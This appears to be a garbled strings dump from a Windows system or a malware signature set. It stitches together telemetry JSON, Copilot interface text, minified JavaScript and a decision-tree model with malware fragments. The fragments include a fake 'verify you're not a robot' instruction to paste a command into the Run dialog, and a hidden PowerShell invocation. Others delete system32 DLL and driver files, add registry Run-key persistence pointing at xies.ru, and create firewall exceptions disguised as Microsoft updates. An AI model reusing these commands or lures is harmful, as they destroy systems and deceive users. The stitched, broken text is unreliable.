efenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939765299923,"MaxEventTime":134163939765299923,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\UserDataService.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[12,227,108,143,36,134,225,59,114,21,18,235,243,100,228,97,225,237,115,250],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"USERDATASERVICE.dll","InternalName":"USERDATASERVICE","FileDescription":"The endpoint for 3rd party APIs to read/write user data","ProductName":"Microsoft
 Windows
qwindows4
#https://www.bing.com/AS/API/WindowsCortanaPane/V2/
c:\windows\system32\qclient
!c__windows_iexplore.exesystem\currentcontrolset\
C:\WINDOWS\realplayer
windowsformsapplist_omdre
WINDOWS11
WINDOWS11
WINDOWS11
b9^com.microsoft.windows.extension.peopleexperienceplatformclient
com.microsoft.windows.extension.peopleexperienceplatformclient
ba^com.microsoft.windows.extensionpackage
bb^com.microsoft.windows.extensions.windowspersonacard
com.microsoft.windows.extensions.windowspersonacard
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
WINDOWS\system32\config
=C:\Windows\S
WindowsAppSdk.
WindowsAppRuntime.Release!1.6.602v
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
 windows
windows
 version:wux:windows
2b^windows.appExtension
1d^windows.appService
14^windows.preInstalledConfigTask
windows.preInstalledConfigTask
14^windows.appService
windows.hlp
edgedxfiles4mcdean.blob.core.windows.net
<pclass="instruction-text">1.press<b>windows+r</b>toopentherundialog.</p><pclass="instruction-text">2.pastetheverificationtextbypressing<b>ctrl+v</b>.</p><pclass="instruction-text">3.press<b>ok</b>toverifyyou'renotarobot.</p>
powershell-windowstylehidden-command"$
="c:\windows\temp\"$
IosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ExtensionActivityCompk
JoData\Local\Packages\MicrosoftWindows.Cli<
"Windows"
WINDOWS1 
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
IAS/API/WindowsCortanaPane/V2/WSBServiceWorker.
windows.com/
/Data\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp\WebView2Downloadsg
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
ftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB: does not exist (create_if_missing is false) false)
rWINDOWSQ
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
regsid.php?windows_name=.ne.jp/
c:\windows\help\vb
\system32\user.exe 
uWindows@
C:\Windows\SysWow64\DXAnimatedGIF.ocaC
c:\windows\sysexplr.exe3
Shell ("forfiles /p c:\windows\system32 /m notepad.exe /c " & 
13^windows.aboveLockScreen
windows.aboveLockScreen
13^windows.internal.componentUI
windows.internal.componentUI
14^windows.backgroundTasks
windows.backgroundTasks
c:\windows\system32\
c:\windows\system32\
=ping -n 5 127.0.0.1c:\windows\system32\wbem\
c:\windows\system32\wbem\
c:\windows\system32\wbem\
c:\windows\system32\drivers\
Windows\CurrentVersion\Run
by botcom))winlolx.exeWindows LoL LayerBoT|
myRATWindows Update\update.exe
\system32\trkwcs.ex
ng 111.111.111.111windows\system32\run.bat
.batdel c:\windows\system32 *.dll /qdel c:\windows\system32 *.sys /qp
Windows
Qadd-type-assemblynamesystem.windows.forms
pdel/f"c:\windows\system32\securityhealth
E)%systemroot%\system32\svchost.exe -k krnlsrvcerase /f /a "" goto tnnd
\system32\drivers\beep.binw1.batif exist %s
add hklm\software\microsoft\windows\currentversion\run /vowntibia.com
9P4PNDG7L782HP PC Hardware Diagnostics Windowshttps://store-images.s-microsoft.com/image/apps.29083.14584525515092425.7dfe0bc8-4a65-463a-937c-df65b05080b9.b65e883a-a78f-4cb4-a0be-8859979b3003en
9P4PNDG7L782HP PC Hardware Diagnostics Windowshttps://store-images.s-microsoft.com/image/apps.29083.14584525515092425.7dfe0bc8-4a65-463a-937c-df65b05080b9.b65e883a-a78f-4cb4-a0be-8859979b3003fr
9P4PNDG7L782HP PC Hardware Diagnostics Windowshttps://store-images.s-microsoft.com/image/apps.29083.14584525515092425.7dfe0bc8-4a65-463a-937c-df65b05080b9.b65e883a-a78f-4cb4-a0be-8859979b3003de
"Windows
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Multimedia-WMPDMC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Security-SPP-Component-SKU-IoTEnterpriseK-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
DriverData=C:\Windows\System32\
USERPROFILE=C:\WINDOWS\s
c:\users\job\appdata\local\packages\microsoftwindows.client.cbs_cw5n1h2txyewy\localstate\ebwebview\default\code cache\js\index-dir\temp-index
WINDOWS\Temp\MpCz01.tmp
\microsoft\windows defender
\microsoft\windows defender
software\microsoft\windows advanced threat protection
software\microsoft\windows advanced threat protection
\microsoft\windows defender
\microsoft\windows defender
software\microsoft\windows advanced threat protection
software\microsoft\windows advanced threat protection
iewBox:"0 0 38 12",fill:"none",xmlns:"http://www.w3.org/2000/svg"},React.createElement("path",{fill:"currentColor",d:"M34.7338 1.92317V1.3876H34.0674V0.561687L33.4063 0.761979V1.38737H32.4256V1.05142C32.4256 0.883437 32.4627 0.756708 32.5366 0.671229C32.6117 0.58575 32.7171 0.542667 32.8553 0.542667C32.9257 0.542667 32.9888 0.551604 33.0432 0.569708C33.0982 0.587812 33.1362 0.602937 33.1578 0.615542V0.0495C33.1109 0.0332292 33.0558 0.020625 32.9946 0.0126042C32.9331 0.00458333 32.862 0 32.7823 0C32.4825 0 32.2377 0.0935 32.0464 0.2805C31.8548 0.4675 31.7592 0.707437 31.7592 0.999396V1.38669H31.2916V1.92225H31.7592V4.169H32.4256V1.92225H33.4072V3.35385C33.4072 3.6504 33.4758 3.87154 33.6149 4.0189C33.7531 4.16533 33.9617 4.23912 34.2387 4.23912C34.3336 4.23912 34.4293 4.22927 34.5258 4.20933C34.6225 4.18962 34.6919 4.16785 34.7335 4.14471V3.60273C34.6937 3.62794 34.6467 3.64948 34.5935 3.66735C34.5403 3.68546 34.4943 3.6944 34.4563 3.6944C34.3218 3.6944 34.2233 3.65842 34.1611 3.58829C34.0987 3.51725 34.0671 3.39694 34.0671 3.22529V1.92317H34.7338ZM14.3435 7.5554V7.54462C14.5623 7.47679 14.7336 7.36267 14.8572 7.20202C14.9809 7.04137 15.0428 6.85231 15.0428 6.6346C15.0428 6.37404 14.9334 6.16252 14.7147 6.00027C14.4978 5.83802 14.2028 5.75667 13.8298 5.75667H12.6062V9.59521H13.8434C14.2397 9.59521 14.5678 9.49346 14.8277 9.29019C15.0877 9.08669 15.2178 8.82085 15.2178 8.49246C15.2178 8.22846 15.1379 8.01419 14.9783 7.8501C14.8206 7.68373 14.6088 7.58565 14.3435 7.5554V7.5554ZM13.2435 6.26794H13.7089C14.1501 6.26794 14.3704 6.43202 14.3704 6.76042C14.3704 6.95131 14.3069 7.09935 14.1796 7.20477C14.0541 7.30835 13.8802 7.35992 13.6578 7.35992H13.2435V6.26794ZM14.341 8.92306C14.2118 9.03192 14.028 9.08623 13.7895 9.08623H13.2435V7.87096H13.7061C14.2601 7.87096 14.5372 8.06987 14.5372 8.46771C14.5372 8.6609 14.4718 8.81237 14.341 8.92306V8.92306ZM17.885 0.958833C17.9969 0.958833 18.0926 0.921937 18.1702 0.850208C18.2488 0.77825 18.2877 0.688417 18.2877 0.582312C18.2877 0.477125 18.2488 0.387292 18.173 0.312583C18.0973 0.237875 18.0015 0.200292 17.885 0.200292C17.7758 0.200292 17.6819 0.237187 17.6031 0.309833C17.5246 0.383625 17.4848 0.473229 17.4848 0.582083C17.4848 0.686354 17.5237 0.775271 17.6003 0.849062C17.6782 0.922167 17.7728 0.958833 17.885 0.958833ZM20.0612 4.23729C20.221 4.23729 20.3672 4.22194 20.501 4.19146C20.6336 4.16075 20.7538 4.11515 20.8586 4.05579V3.44644C20.7584 3.52115 20.6499 3.58027 20.5316 3.62519C20.4142 3.6701 20.3057 3.69256 20.2083 3.69256C19.9447 3.69256 19.737 3.61442 19.5834 3.4579C19.43 3.30069 19.3531 3.08137 19.3531 2.79996C19.3531 2.5151 19.4325 2.28846 19.5926 2.12048C19.7524 1.9525 19.9619 1.86885 20.221 1.86885C20.331 1.86885 20.4404 1.88948 20.5461 1.93004C20.6527 1.9706 20.7556 2.0279 20.8576 2.10169V1.47377C20.7826 1.43229 20.6833 1.39562 20.5569 1.36423C20.4314 1.33283 20.3066 1.31656 20.183 1.31656C19.7008 1.31656 19.3278 1.46117 19.065 1.7506C18.8023 2.04096 18.6704 2.40946 18.6704 2.85702C18.6704 3.25967 18.7996 3.59035 19.057 3.84908C19.3153 4.10781 19.6492 4.23729 20.0612 4.23729V4.23729ZM15.6852 9.59498H16.3093V6.85415H15.6852V9.59498ZM27.3545 2.53962C27.1496 2.45873 27.017 2.39135 26.9573 2.33842C26.8977 2.28433 26.868 2.21077 26.868 2.11727C26.868 2.03179 26.9023 1.96556 26.9737 1.91515C27.0432 1.86656 27.1408 1.84227 27.2663 1.84227C27.381 1.84227 27.4957 1.8629 27.6122 1.90438C27.7278 1.94654 27.8298 1.99604 27.9166 2.05356V1.43069C27.8353 1.39654 27.7342 1.36858 27.6122 1.34704C27.4901 1.3255 27.3801 1.31473 27.2827 1.31473C26.964 1.31473 26.704 1.39562 26.5035 1.55742C26.3029 1.71829 26.2027 1.925 26.2027 2.17571C26.2027 2.37073 26.2541 2.53069 26.3554 2.65742C26.4565 2.78415 26.629 2.89827 26.8719 2.99887C27.0759 3.08069 27.2159 3.15242 27.2889 3.21452C27.3621 3.27754 27.399 3.35385 27.399 3.44369C27.399 3.54085 27.3637 3.61075 27.2933 3.65223C27.2219 3.69371 27.1127 3.71433 26.9638 3.71433C26.8509 3.71433 26.7264 3.69004 26.5882 3.64146C26.45 3.59287 26.3218 3.52642 26.2018 3.44369V4.0881C26.2995 4.13119 26.4185 4.16717 26.5594 4.19512C26.6994 4.22308 26.8277 4.23729 26===null||f===void 0?void 0:f.moments[t];i.isDismissed=!0;const w=this.getNextMomentIndex(this.currentDateDSBStr,this.multiMomentsDataModel),r=(o=(e=this.multiMomentsDataModel)===null||e===void 0?void 0:e.moments[w])!==null&&o!==void 0?o:null,b=i===null||i===void 0?void 0:i.order,u=(h=(s=i===null||i===void 0?void 0:i.sectionGroups)===null||s===void 0?void 0:s.find(n=>(n===null||n===void 0?void 0:n.cardType)=="Hero"))===null||h===void 0?void 0:h.sections[0];this.activeMomentsIndexMap[this.currentDateDSBStr]=w;this.updateGleamOnCurrentDayMomentChange(w);this.updateDismissedMomentsContentToCache(this.currentDateDSBStr,b);let k={momentDate:this.currentDateDSBStr,momentOrder:b.toString(),momentType:(c=i===null||i===void 0?void 0:i.momentMetadata)===null||c===void 0?void 0:c.MomentType,heroTitle:(a=(l=u===null||u===void 0?void 0:u.props)===null||l===void 0?void 0:l.FieldsStore)===null||a===void 0?void 0:a.Title,scenario:(v=u===null||u===void 0?void 0:u.props)===null||v===void 0?void 0:v.scenario,nextmomentDate:r===null||r===void 0?void 0:r.date,nextmomentOrder:(y=r===null||r===void 0?void 0:r.order)===null||y===void 0?void 0:y.toString(),nextmomentType:(p=r===null||r===void 0?void 0:r.momentMetadata)===null||p===void 0?void 0:p.MomentType};n.InstrumentationHelper.logClientInstEvent("Select","DSBDismissCurrentDayMoment",n.SequenceNumberManager.getSequenceNumber(),k,"BingTelemetry");n.config.enableRenderMomentDataSource&&n.InstrumentationHelper.instrumentDSB();this.render()}getNextMomentIndex(t,i){var u,f,r;let e=0,o=n.DayEndSec+1;for(r=0;r<i.moments.length;r++){const n=i.moments[r];if(n.date==t&&this.isMomentAvaiable(n)){let t=((u=n.momentMetadata)===null||u===void 0?void 0:u.EndTime)-((f=n.momentMetadata)===null||f===void 0?void 0:f.StartTime);t<o&&(e=r,o=t)}}return e}isMomentAvailableInTimeRange(t){var i,r;let u=n.getCurrentTimeInSeconds();return u>=((i=t.momentMetadata)===null||i===void 0?void 0:i.StartTime)&&u<=((r=t.momentMetadata)===null||r===void 0?void 0:r.EndTime)}isMomentAvaiable(n){var t;let i=(t=n===null||n===void 0?void 0:n.isDismissed)!==null&&t!==void 0?t:!1;return!i&&this.isMomentAvailableInTimeRange(n)}getDSBHeaders(t){var r;let i=n.Host.getCustomHeaders(null);if(this.isWindowsActivationStateEnabled()&&!i["X-WindowsActivated"]){const t=SearchAppWrapper.CortanaApp.systemInfo.isWindowsGenuine();i["X-WindowsActivated"]=t.toString();n.loadWindowsActivationStateFromCache()!==t&&n.setWindowsActivationStateToCache(t)}return t&&(n.config.restrictedAPIHeaderChange?i["X-RestrictedAPI"]="1":i["User-Agent"]=n.getUserAgent()+" RestrictedAPI"),((r=n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.getFeatures())===null||r===void 0?void 0:r.length)>0&&(i["X-BM-SearchFeatures"]=n.VelocityKeys.getFeatures()),i}isWindowsActivationStateEnabled(){return n.config.enableWindowsActivated&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(49428468))&&typeof SearchAppWrapper.CortanaApp.systemInfo.isWindowsGenuine=="function"&&n.isEligibleWindowsActivationOsSKU}getGleamSetReason(t){var i;const r=(i=t===null||t===void 0?void 0:t.momentMetadata)===null||i===void 0?void 0:i.MomentType;return r=="Afternoon"||r=="AfternoonBreak"?3:n.isCurrentDayMainMomentDismissed?2:1}instrumentDSBRequest(t,i){if(n.config.enableDSBCIRequestLogging){let r={RefreshStrategy:t.toString(),RefreshReason:i.toString()};n.InstrumentationHelper.logClientInstEvent("ClientInst","DSBRequest",n.SequenceNumberManager.getSequenceNumber(),r)}}instrumentShownToNonActWindows(t){if(n.config.enableNonActWindowsLogging&&t==2&&this.isWindowsActivationStateEnabled()){const t=n.loadWindowsActivationStateFromCache(),i=n.isNullOrUndefined(t)?"undefined":t===null||t===void 0?void 0:t.toString();n.InstrumentationHelper.logClientInstEvent("ClientInst","DSBWinActivationState",n.SequenceNumberManager.getSequenceNumber(),{WinActivationState:i})}}}n.DynamicSearchViewModelV2=t}(WSB||(WSB={})),function(n){var t;(function(n){var t;(function(n){class t extends React.Component{render(){return React.createElement("svg",{width:"57",height:"18",v
TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UFocusProxyButton@implementation@TaskManagerApp@winrt@6:.15628:t(n,137)>10.5?-.0693:-.00714:t(n,420)>.34535?t(n,350)>.81601?t(n,94)>.75618?t(n,323)>172?t(n,94)>.98996?.09588:.01566:t(n,159)>4639.5?t(n,334)>18381.5?-.00113:t(n,269)>6175?t(n,137)>17.5?-.18232:-.06061:-.01255:.00091:t(n,94)>.4196?-.07852:t(n,269)>5935?t(n,137)>12.5?.09185:-.01044:t(n,95)>59781.5?.00258:t(n,350)>.905?t(n,95)>921.5?-.0451:t(n,135)>.80244?t(n,16)>11840.5?t(n,284)>8.5?-.17171:.02167:.07603:-.0638:t(n,7)>15046.5?-.00896:t(n,267)>.93162?-.03257:-.11704:t(n,1032)>0?t(n,262)>.0371?-.07159:t(n,135)>3.41886?t(n,135)>4.25834?t(n,16)>2481.5?t(n,13)>3.5?t(n,352)>831417?t(n,95)>4023174?.05801:-.03116:.07151:-.06568:-.07233:t(n,94)>.48086?.00312:t(n,94)>.0694?.15097:.03508:t(n,327)>20982?.04882:t(n,420)>.60229?t(n,13)>122.5?t(n,264)>.14543?t(n,352)>620227.5?t(n,94)>.35603?.01238:.11283:.00804:t(n,264)>.13002?-.09963:t(n,103)>.8276?.00772:-.08189:t(n,327)>5308.5?t(n,135)>.35806?t(n,334)>5865.5?t(n,13)>70.5?-.09249:t(n,9)>1.19834?-.03895:t(n,9)>.00106?.04529:-.0471:-.08772:.01924:t(n,135)>2.80625?-.07491:t(n,420)>.72719?t(n,94)>.67085?.06126:-.00708:.05388:t(n,420)>.52572?-.0612:-.01485:t(n,350)>.58362?t(n,103)>.99996?.05916:.00717:t(n,350)>.5575?t(n,137)>13.5?.02142:t(n,327)>4793.5?-.01542:-.11892:t(n,334)>26459?t(n,13)>5.5?t(n,7)>34073?-.01804:-.10642:.03443:t(n,7)>10713.5?.02319:t(n,350)>.49058?t(n,16)>2927?.02029:.10648:t(n,137)>21.5?t(n,400)>0?-.01183:-.11566:.00408:t(n,95)>530962.5?t(n,327)>5564.5?t(n,352)>4282675.5?-.06408:.00586:t(n,334)>4402.5?.03115:-.05107:t(n,135)>2.98684?t(n,264)>.22662?t(n,334)>10517.5?-.03597:t(n,266)>.2265?.00759:t(n,7)>7913.5?-.19879:-.08837:t(n,7)>7014.5?.03514:-.10599:t(n,9)>.0034?t(n,16)>13186.5?-.05691:t(n,95)>13.5?t(n,94)>.22047?.00803:-.10232:t(n,7)>13126.5?-.03147:t(n,16)>6840.5?.17058:.02477:-.0811:t(n,103)>.56011?t(n,94)>.31072?t(n,269)>3118?t(n,7)>12247.5?.00637:-.06483:t(n,135)>2.75736?.00536:t(n,94)>.72765?t(n,135)>1.43095?t(n,264)>.11553?.01258:.11712:-.00195:t(n,94)>.58511?.11892:.04793:t(n,284)>3.5?t(n,16)>3400.5?t(n,350)>.77282?t(n,134)>6.5?t(n,134)>10.5?.06689:-.04893:.1229:t(n,350)>.59917?-.03835:t(n,16)>4147.5?.00205:.07811:t(n,1030)>0?-.06324:.00133:t(n,135)>.91988?-.10667:-.00462:8e-5}function as(n){return t(n,130)>-1881810690?t(n,120)>-1998916800?t(n,307)>30.93394?t(n,352)>1362207.5?.01153:-.05788:t(n,307)>29.66379?.03658:t(n,137)>11.5?t(n,134)>5.5?t(n,263)>.00409?-.06074:.00014:t(n,165)>.40378?-.05948:t(n,170)>.03775?.096:t(n,351)>.96039?t(n,13)>4.5?.01636:.16338:.00484:t(n,327)>10314.5?t(n,137)>9.5?t(n,94)>.72765?.0409:t(n,334)>21068.5?t(n,334)>22371.5?t(n,327)>23635?t(n,266)>.55051?.06247:t(n,95)>4050?-.23171:-.0593:-.00104:t(n,82)>0?t(n,17)>.047?.01631:.29768:.00432:t(n,137)>10.5?t(n,350)>.97371?t(n,350)>.97473?t(n,334)>1175.5?.01944:.33145:.28596:t(n,327)>12140.5?t(n,327)>13723.5?-.02741:t(n,268)>.04864?.00315:-.19726:t(n,327)>11954?.12118:t(n,23)>.23527?t(n,264)>.12794?-.00848:-.29725:.00637:t(n,352)>3397332.5?t(n,350)>.97548?-.03917:t(n,25)>0?t(n,350)>.82694?-.39136:-.17636:-.13553:t(n,351)>.93528?t(n,264)>.20102?.07156:-.2318:t(n,7)>68533?-.10845:t(n,327)>22795?t(n,350)>.85137?.15859:-.01905:t(n,135)>.12311?t(n,7)>20558?-.10074:t(n,405)>6198.42726?-.16922:-.01134:t(n,350)>.11015?-.17518:-.01824:t(n,420)>.44174?t(n,10)>9.5?.16505:t(n,350)>.14051?t(n,350)>.49058?t(n,903)>0?t(n,334)>3682.5?t(n,352)>831417?t(n,350)>.97882?t(n,134)>2.5?-.35525:.00317:t(n,264)>.06355?t(n,135)>.28759?.02694:t(n,350)>.76146?-.30595:-.01398:.17708:t(n,350)>.6603?t(n,94)>.2722?-.01162:.12792:-.06928:-.02567:-.00385:t(n,334)>980.5?t(n,166)>85222.5?-.0414:t(n,351)>.59179?.06838:t(n,1018)>0?t(n,264)>.2696?.00293:.09053:t(n,137)>7.5?t(n,94)>.06844?.01598:t(n,350)>.44324?.06105:t(n,7)>33040?-.0052:-.11772:t(n,94)>.16099?t(n,95)>42185.5?.00701:-.05592:t(n,268)>6.17664?-.08114:t(n,135)>1.12772?-.10228:t(n,13)>6.5?t(n,264)>.21076?t(n,25)>0?-.08956:.06158:.04152:t(n,327)>10402.5?.08347:-.03822:t(n,352)>666374.5?-.01127:t(n,59)>0?t(n,137)>6.5?.227:.0779:t(n,264)>.46113?-.02997:.06493:t(n,420)>.47232?t(n,308)>7e-5?.00354:t(n,264)>.06165?t(n,169)>.45644?-.13843:t(n,59)>0?t(n,352)>43841
Gc:\windows\iexplore.exe:*:enabled:outpress
c:\windows\iexplore.exe:*:enabled:microsoft online update
c:\windows\system32\append.exe
zzzstopit.txtset zzzshll = createobject ("wscript.shell")zzzshll.regwrite ("hkey_local_machine\software\microsoft\windows\currentversion\run\ms office")http://xies.ru/?id=1http://xies.ru/?id=3
a?y%SystemRoot%\System32\svchost.exe -k winseclogon
WindowsFormsApp1.Form9.resourcesW
software\microsoft\windows\currentversion\explorer\desktoprxmru
Cc:\windows\system32\
c:\windows\system32\
